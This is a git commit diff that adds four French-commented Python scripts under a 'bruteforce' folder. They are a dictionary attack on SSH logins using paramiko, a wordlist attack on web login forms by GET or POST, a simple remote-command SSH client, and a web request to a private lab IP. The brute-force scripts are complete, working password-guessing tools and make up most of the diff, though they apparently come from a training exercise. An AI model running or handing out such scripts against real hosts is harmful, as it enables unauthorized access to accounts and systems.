diff options
Diffstat (limited to 'bruteforce')
| -rw-r--r-- | bruteforce/bruteSSH.py | 30 | ||||
| -rw-r--r-- | bruteforce/bruteWeb.py | 37 | ||||
| -rw-r--r-- | bruteforce/sshClient.py | 24 | ||||
| -rw-r--r-- | bruteforce/webClient.py | 16 |
4 files changed, 107 insertions, 0 deletions
diff --git a/bruteforce/bruteSSH.py b/bruteforce/bruteSSH.py new file mode 100644 index 0000000..32c93cb --- /dev/null +++ b/bruteforce/bruteSSH.py @@ -0,0 +1,30 @@ +import paramiko, sys + +def bruteforce(hostname, username, password): + client = paramiko.SSHClient() + client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) + try: + client.connect(hostname, username=username, password=password) + except paramiko.ssh_exception.AuthenticationException: + print("erreur : ",password) + #pass + else: + print("trouvé : ",password) + return True + finally: + client.close() + +if __name__ == "__main__": + hostname = sys.argv[1] + username = sys.argv[2] + dico = sys.argv[3] + try: + with open(dico, 'r') as wordlist: + for ligne in wordlist.readlines(): + password=ligne.strip() + if bruteforce(hostname,username,password)==True: + sys.exit() + except IndexError: + print(f"{sys.argv[0]} demande un hôte, un username et une liste de passwords en arguments") + + diff --git a/bruteforce/bruteWeb.py b/bruteforce/bruteWeb.py new file mode 100644 index 0000000..e75cde1 --- /dev/null +++ b/bruteforce/bruteWeb.py @@ -0,0 +1,37 @@ +import sys +import requests + +def bruteforce(method,url,username,password,error_msg): + if method == "post": + reponse=requests.post(url,data={ + "username":username, + "password":password + }) + elif method == "get": + reponse=requests.get(url,params={ + "username":username, + "password":password + }) + + if error_msg in reponse.text: + #print("erreur : ",password) + pass + else: + print("trouvé : ",password) + return True + +if __name__ == "__main__": + method = sys.argv[1] + url = sys.argv[2] + username = sys.argv[3] + dico = sys.argv[4] + error_msg= sys.argv[5] + with open(dico, 'r') as wordlist: + for ligne in wordlist.readlines(): + # le fichier nmap.lst à des commentaires en début de fichier + if ligne[0] != "#": + password=ligne.strip() + if bruteforce(method,url,username,password,error_msg)==True: + sys.exit() + + diff --git a/bruteforce/sshClient.py b/bruteforce/sshClient.py new file mode 100644 index 0000000..41dabb4 --- /dev/null +++ b/bruteforce/sshClient.py @@ -0,0 +1,24 @@ +import sys, paramiko, getpass + +def sshClient(hostname,port,cmd,username,password): + client = paramiko.SSHClient() + client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) + try: + client.connect(hostname,port=port,username=username, password=password) + _stdin, _stdout,_stderr = client.exec_command(cmd) + print(_stdout.read().decode()) + except paramiko.ssh_exception.AuthenticationException: + print("Erreur d'authenfication !") + finally: + client.close() + +if __name__ == "__main__": + try: + hostname = sys.argv[1] + port = sys.argv[2] + cmd = sys.argv[3] + username = input("Nom d'utilisateur : ") + password = getpass.getpass() + sshClient(hostname,port,cmd,username,password) + except IndexError: + print(f"{sys.argv[0]} demande des arguments") diff --git a/bruteforce/webClient.py b/bruteforce/webClient.py new file mode 100644 index 0000000..4bd6ac2 --- /dev/null +++ b/bruteforce/webClient.py @@ -0,0 +1,16 @@ +#!/usr/bin/env python + +import requests + +def webClient(url,username,os): + response = requests.get(url,params={ + "username": username, + "os": os + }) + print(response.text) + +webClient("http://10.20.236.161:4444/page.php","jerome","Linux") + + + + |
